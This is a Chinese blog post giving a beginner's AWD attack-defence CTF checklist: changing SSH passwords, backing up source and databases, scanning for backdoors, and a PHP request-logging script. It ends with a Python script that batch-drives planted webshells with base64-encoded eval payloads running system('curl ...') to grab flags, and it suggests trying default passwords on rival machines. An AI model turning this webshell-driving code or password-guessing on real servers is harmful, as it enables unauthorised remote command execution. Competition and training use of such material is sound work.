天天看點

CTF線下AWD攻防模式的準備工作及起手式0X01 改ssh密碼0X02 dump源碼0X03 備份資料庫0X04 拿到源碼之後先D盾清除0X05. seay掃洞0X06. 上監控腳本0X07. 審計0X08. 時刻關注流量和積分榜0X09. 寫腳本批量拿分 0x10. OVER!

作為大一萌新我并沒有打過AWD,可能我做夢都沒有想到人生的第一場AWD是DEFCON CHINA吧~(滑稽

我自己在伺服器上搭了一個cms來模拟AWD場景。

0X01 改ssh密碼

官方在給出伺服器密碼時,很有可能是預設的,需要趕快修改自己的密碼并嘗試能不能登陸别人的靶機,搞波事情嘿嘿嘿~

0X02 dump源碼

首先可能沒有給源碼,需要自己把源碼全dump下來。

1.使用XFTP或者FileZilla Client等圖形化伺服器管理軟體

CTF線下AWD攻防模式的準備工作及起手式0X01 改ssh密碼0X02 dump源碼0X03 備份資料庫0X04 拿到源碼之後先D盾清除0X05. seay掃洞0X06. 上監控腳本0X07. 審計0X08. 時刻關注流量和積分榜0X09. 寫腳本批量拿分 0x10. OVER!

2.使用scp指令

scp -r -P Port [email protected]_ip:remote_folder local_file

0X03 備份資料庫

1. 找配置檔案

CTF線下AWD攻防模式的準備工作及起手式0X01 改ssh密碼0X02 dump源碼0X03 備份資料庫0X04 拿到源碼之後先D盾清除0X05. seay掃洞0X06. 上監控腳本0X07. 審計0X08. 時刻關注流量和積分榜0X09. 寫腳本批量拿分 0x10. OVER!

找到使用者名和密碼之後登陸mysql

2. 備份

[[email protected] ~]# cd /var/lib/mysql (進入到MySQL庫目錄,根據自己的MySQL的安裝情況調整目錄)

[[email protected] mysql]# mysqldump -u root -p Test>Test0809.sql,輸入密碼即可。

3. 還原

法一:

[[email protected] ~]# mysql -u root -p 回車,輸入密碼,進入MySQL的控制台"mysql>",輸入指令"show databases;"。

看看有些什麼資料庫;

建立你要還原的資料庫,輸入"create database voice;",切換到剛建立的資料庫,輸入"use voice;",回車;導入資料,輸入"source voice.sql;",回車,開始導入,再次出現"mysql>"并且沒有提示錯誤即還原成功。

[[email protected] ~]# cd /var/lib/mysql (進入到MySQL庫目錄,根據自己的MySQL的安裝情況調整目錄)

[[email protected] mysql]# mysql -u root -p Test<Test0809.sql,輸入密碼即可(将要恢複的資料庫檔案放到伺服器的某個目錄下,并進入這個目錄執行以上指令|)。

moodle_bak.sql是需要恢複的檔案名

0X04 拿到源碼之後先D盾清除

CTF線下AWD攻防模式的準備工作及起手式0X01 改ssh密碼0X02 dump源碼0X03 備份資料庫0X04 拿到源碼之後先D盾清除0X05. seay掃洞0X06. 上監控腳本0X07. 審計0X08. 時刻關注流量和積分榜0X09. 寫腳本批量拿分 0x10. OVER!

好吧這次什麼明顯的後門都沒有,可能比較隐蔽。

0X05. seay掃洞

CTF線下AWD攻防模式的準備工作及起手式0X01 改ssh密碼0X02 dump源碼0X03 備份資料庫0X04 拿到源碼之後先D盾清除0X05. seay掃洞0X06. 上監控腳本0X07. 審計0X08. 時刻關注流量和積分榜0X09. 寫腳本批量拿分 0x10. OVER!

雖然沒有什麼用,但是至少有個審計的方向,往哪裡看。

0X06. 上監控腳本

本來按理說先放個通防waf的,但是聽說十分容易被check down,最好不要亂動,有時候拿flag分還不如down的分多,這就很難受了。

這裡上一個監控流量的腳本。需要在php檔案前加個

require_once('waf.php');

貼監控腳本:  

<?php

error_reporting(0);

define('LOG_FILEDIR','./logs');

function waf()

{

if (!function_exists('getallheaders')) {

function getallheaders() {

foreach ($_SERVER as $name => $value) {

if (substr($name, 0, 5) == 'HTTP_')

$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;

}

return $headers;

}

}

$get = $_GET;

$post = $_POST;

$cookie = $_COOKIE;

$header = getallheaders();

$files = $_FILES;

$ip = $_SERVER["REMOTE_ADDR"];

$method = $_SERVER['REQUEST_METHOD'];

$filepath = $_SERVER["SCRIPT_NAME"];

foreach ($_FILES as $key => $value) {

$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);

file_put_contents($_FILES[$key]['tmp_name'], "virink");

}

unset($header['Accept']);

$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);

logging($input);

}

function logging($var){

$filename = $_SERVER['REMOTE_ADDR'];

$LOG_FILENAME = LOG_FILEDIR."/".$filename;

$time = date("Y-m-d G:i:s");

file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);

file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);

file_put_contents($LOG_FILENAME,"\r\n***************************************************************",FILE_APPEND);

}

waf();

?>

0X07. 審計

根據seay掃出的一大波結果(雖然沒什麼用)審計啊審計啊還是審計啊~

直接看也行,seay掃一下其實可能沒有什麼實質性的作用2333333

0X08. 時刻關注流量和積分榜

時刻看着自己的分數,看到自己被down了就趕緊恢複,不管被删庫還是被自己删了什麼重要配置檔案或者還是上的通用waf腳本過不了check。

然後就是檢視流量了。

0X09. 寫腳本批量拿分

直接貼exp了:

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64

def loadfile(filepath):
	try : 
		file = open(filepath,"rb")
		return str(file.read())
	except : 
		print "File %s Not Found!" %filepath
		sys.exit()

def file_write(filepath,filecontent):
	file = open(filepath,"a")
	file.write(filecontent)
	file.close()

def getflag(url,method,passwd,flag_path):
	#flag機的url
	flag_url="192.168.45.1"
	#print url
	#判斷shell是否存在
	try :
		res = requests.get(url,timeout=3)
	except : 
		print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
		file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
		return 0
	if res.status_code!=200 :
		print "[-] %s Page Not Found!" %url
		file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
		return 0
	#執行指令來擷取flag system,exec,passthru,`,shell_exec
	#[email protected](base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
	cmd = "curl "+flag_url
	#cmd = "whoami"
	getflag_cmd ="echo system(\"%s\");"%cmd
	data={}
	if method=='get':
		data[passwd]='@eval(base64_decode($_GET[z0]));'
		data['z0']=base64.b64encode(getflag_cmd)
		try:
			res = requests.get(url,params=data,timeout=3)
			#print res.url
			if res.content:
				content = url+"\n"+res.content+"\n\n"
				file_write(flag_path,content)
				print "[+] %s getflag sucessed!"%url
			else :
				print "[-] %s cmd exec response is null!"%url
				content = url+"\ncmd exec response is null!\n\n"
				file_write(flag_path,content)
		except :
			file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
			print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
	elif method=='post':
		data['pass']='Sn3rtf4ck'
		data[passwd]='@eval(base64_decode($_POST[z0]));'
		data['z0']=base64.b64encode(getflag_cmd)
		try:
			res = requests.post(url,data=data,timeout=3)
			if res.content:
				content = url+"\n"+res.content+"\n\n"
				file_write(flag_path,content)
				print "[+] %s getflag sucessed!"%url
			else :
				print "[-] %s cmd exec response is null!"%url
				content = url+"\ncmd exec response is null!\n\n"
				file_write(flag_path,content)
		except:
			file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
			print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
	


if __name__ == '__main__':
	#存放flag的檔案
	flag_path="./flag.txt"
	shellstr=loadfile("./webshell.txt")
	list = shellstr.split("\r\n")
	#print str(list)
	i = 0
	url={}
	passwd={}
	method={}
	for data in list:
		if data:
			ls = data.split(",")
			method_tmp = str(ls[1])
			method_tmp = method_tmp.lower()
			if method_tmp=='post' or method_tmp=='get':
				url[i]=str(ls[0])
				method[i]=method_tmp
				passwd[i]=str(ls[2])
				i+=1
			else :
				print "[-] %s request method error!" %(str(ls[0]))
				file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0])))
		else : pass
	#print str(len(url))
	for j in range(len(url)):
		#調用執行指令的子產品
		#print str(j)
		#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
		getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)
	print "Getflag finished!"
      

0x10. OVER!

安利幾個連結:

《CTF線下賽AWD模式下的生存技巧》

《論如何在CTF比賽中攪“shi”》

《CTF線下防禦戰 — 讓你的靶機變成“銅牆鐵壁”》

AWD攻防賽webshell批量利用架構

針對ctf線下賽流量抓取(php)、真實環境流量抓取分析的工具

AWD攻防賽腳本集合

CTFDefense

就這些了,DEFCON CHINA注定是被打爆的,就當去北京旅遊了orz...de

DEFCON CHINA 再會!